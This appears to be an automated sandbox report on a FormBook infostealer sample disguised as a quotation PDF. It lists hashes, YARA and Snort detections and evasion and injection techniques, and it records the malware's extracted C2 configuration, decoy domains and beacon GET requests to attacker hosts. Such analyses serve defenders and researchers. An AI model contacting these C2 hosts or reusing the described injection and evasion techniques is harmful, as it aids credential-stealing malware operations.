Windows Analysis Report Solicitud urgente de Quotaion_U1197,pdf.exe

Overview

General Information

Sample Name: Solicitud urgente de Quotaion_U1197,pdf.exe
Analysis ID: 532838
MD5: 985db7fdfcf2aa38a0b75c22f06b2756
SHA1: 5f51dec30f3a649fc49e95e3421bc247cf9c40c7
SHA256: 6e4323460316f29ecdaa2b49fbe733c11ea3a040cf7336e177ac9345ddac21c1
Tags: exe
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Modifies the prolog of user mode functions (user mode inline hooks)
Self deletion via cmd delete
.NET source code contains potential unpacker
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.coralxlix.com/c1h5/"], "decoy": ["ui4dev.com", "horrycountyrealtor.com", "abivz.icu", "toxicwokeness.com", "fillthegap.site", "surprisessinside.com", "metaversefinder.xyz", "freeshipflowers.com", "apacheicon.com", "greenfootprintpros.com", "topauonlinecasino.com", "weqffg.site", "bountylux.com", "eedrvheyn.sbs", "whiskeybentmobile.com", "yupeg.xyz", "thenorthwesthome.com", "cyril.ventures", "zukunsmart.com", "1l7kng51j4nm.site", "nigeldavies.net", "8sscal.icu", "8wngeu.icu", "paramountnewtwork.com", "homehelperscalifornia.com", "tropicalbooking.com", "samsungwr.com", "gravityarchive.com", "hatdieuhoanglinhlinh.com", "masterysystemsinternational.com", "handandstoneparma.com", "tucsongolfacademy.com", "wholesalepoolkits.com", "2lovit.com", "calista-platinum.com", "dark9a.com", "sextremeboudoir.com", "dalmonello.com", "gyqfnc.com", "wqbz1.com", "kentuckyductless.com", "automotive-forensic.com", "metacityelves.com", "yckzy.com", "therobotians.com", "38qp2.com", "xqibit.site", "xn--o39a00am61aa311e3tj68d.com", "theb8szsk5vkv.com", "blackfridaypromoamericanas5.com", "4746390.win", "binkybones.com", "bridalhuich.com", "marceanahata.com", "kostense.email", "wellingboroughbid.com", "afxwn.icu", "nofrdictrack.com", "smohjs.com", "yjefcalg1p.top", "haseeb-wp.site", "analytics-at-scale.com", "adqc3.icu", "berekende.ink"]}
Multi AV Scanner detection for submitted file
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Virustotal: Detection: 40% Perma Link
Yara detected FormBook
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://www.weqffg.site/c1h5/?2do4nxu0=xDzgA/AT2jMmjnlrkj7rt3ckDtoX4QGQrpVL2KD3Bff+aUtt+S7+kl+hKb5L2UO+/CvD&q4Y4=kvWdz Avira URL Cloud: Label: phishing
Antivirus or Machine Learning detection for unpacked file
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: msdt.pdbGCTL source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.374490379.0000000003680000.00000040.00020000.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000003.365732847.0000000003680000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.372947461.0000000001760000.00000040.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373171059.000000000187F000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568927904.00000000046FF000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568800270.00000000045E0000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000003.372669343.0000000000BA0000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdb source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.372947461.0000000001760000.00000040.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373171059.000000000187F000.00000040.00000001.sdmp, msdt.exe, msdt.exe, 0000000A.00000002.568927904.00000000046FF000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568800270.00000000045E0000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000003.372669343.0000000000BA0000.00000004.00000001.sdmp
Source: Binary string: msdt.pdb source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.374490379.0000000003680000.00000040.00020000.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000003.365732847.0000000003680000.00000004.00000001.sdmp

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49872 -> 192.0.78.24:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49872 -> 192.0.78.24:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49872 -> 192.0.78.24:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.afxwn.icu
Source: C:\Windows\explorer.exe Domain query: www.weqffg.site
Source: C:\Windows\explorer.exe Network Connect: 156.234.12.248 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 192.0.78.24 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.analytics-at-scale.com
Source: C:\Windows\explorer.exe Network Connect: 162.214.233.244 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.coralxlix.com/c1h5/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AUTOMATTICUS AUTOMATTICUS
Source: Joe Sandbox View ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=xDzgA/AT2jMmjnlrkj7rt3ckDtoX4QGQrpVL2KD3Bff+aUtt+S7+kl+hKb5L2UO+/CvD&q4Y4=kvWdz HTTP/1.1Host: www.weqffg.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=dDVdw41TThH+tglXdiSPLe9aGuOwvr9FdRXdYLI3Qef1kwVllG2roDseQXIwgkVkVQDX&q4Y4=kvWdz HTTP/1.1Host: www.afxwn.icuConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=eCqut3pLTAp695DvAk1SvvQ7mDNC6PWTA4g6LTP2Tz9bKaOndJvYlqsLJ7dAZrG7pLSW&q4Y4=kvWdz HTTP/1.1Host: www.analytics-at-scale.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 192.0.78.24 192.0.78.24
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Dec 2021 17:39:27 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 17:39:50 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: msdt.exe, 0000000A.00000002.569235088.0000000004FFF000.00000004.00020000.sdmp String found in binary or memory: https://www.analytics-at-scale.com/c1h5/?2do4nxu0=eCqut3pLTAp695DvAk1SvvQ7mDNC6PWTA4g6LTP2Tz9bKaOndJ
Source: unknown DNS traffic detected: queries for: www.weqffg.site
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=xDzgA/AT2jMmjnlrkj7rt3ckDtoX4QGQrpVL2KD3Bff+aUtt+S7+kl+hKb5L2UO+/CvD&q4Y4=kvWdz HTTP/1.1Host: www.weqffg.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=dDVdw41TThH+tglXdiSPLe9aGuOwvr9FdRXdYLI3Qef1kwVllG2roDseQXIwgkVkVQDX&q4Y4=kvWdz HTTP/1.1Host: www.afxwn.icuConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /c1h5/?2do4nxu0=eCqut3pLTAp695DvAk1SvvQ7mDNC6PWTA4g6LTP2Tz9bKaOndJvYlqsLJ7dAZrG7pLSW&q4Y4=kvWdz HTTP/1.1Host: www.analytics-at-scale.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
Yara signature match
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
